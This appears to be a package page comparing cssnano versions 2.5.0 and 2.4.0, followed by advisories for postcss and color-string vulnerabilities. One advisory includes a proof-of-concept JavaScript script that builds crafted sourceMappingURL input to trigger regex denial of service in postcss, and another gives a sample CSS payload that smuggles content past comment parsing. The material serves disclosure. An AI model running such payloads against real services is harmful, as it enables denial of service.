Cssnano is a powerful and modular CSS minifier built upon the PostCSS ecosystem, designed to optimize CSS code for production environments. Comparing versions 2.5.0 and 2.4.0, developers will find incremental improvements focused on stability and potentially some refinements in minification strategies.
A key difference lies in the introduction of the "defined" dependency in version 2.5.0. This suggests the utilization of a module specifically to check if a variable is defined, possibly to improve code robustness and prevent errors during the minification process. The absence of this dependency in version 2.4.0 indicates a different approach to handling variable definitions or potentially a reliance on alternative methods.
Both versions share a common foundation, leveraging a suite of PostCSS plugins for specific optimization tasks. These plugins handle tasks such as: calculating expressions, managing z-index, optimizing colors, handling vendor prefixes using Autoprefixer-core, managing font families, merging rules and identifiers, removing empty rules, normalizing URLs, reducing identifiers, converting values, removing unused values, filtering plugins, merging longhand properties, handling charsets, discarding comments and duplicates, and ensuring unique and minified selectors, as well as manage font weights.
Developers upgrading to 2.5.0 can expect potentially enhanced safety and reliability of the minification process due to the addition of the "defined" dependency. While the core minification capabilities remain largely consistent between the two versions, users should always test thoroughly after upgrading to ensure no unexpected changes in output. Cssnano helps developers reduce CSS file sizes, improving website loading times and overall performance, which is crucial for user experience and SEO.
All the vulnerabilities related to the version 2.5.0 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r
discrepancies, as demonstrated by @font-face{ font:(\r/*);}
in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.
Regular Expression Denial of Service (ReDOS)
In the npm package color-string
, there is a ReDos (Regular Expression Denial of Service) vulnerability regarding an exponential time complexity for
linearly increasing input lengths for hwb()
color strings.
Strings reaching more than 5000 characters would see several milliseconds of processing time; strings reaching more than 50,000 characters began seeing 1500ms (1.5s) of processing time.
The cause was due to a the regular expression that parses hwb() strings - specifically, the hue value - where the integer portion of the hue value used a 0-or-more quantifier shortly thereafter followed by a 1-or-more quantifier.
This caused excessive backtracking and a cartesian scan, resulting in exponential time complexity given a linear increase in input length.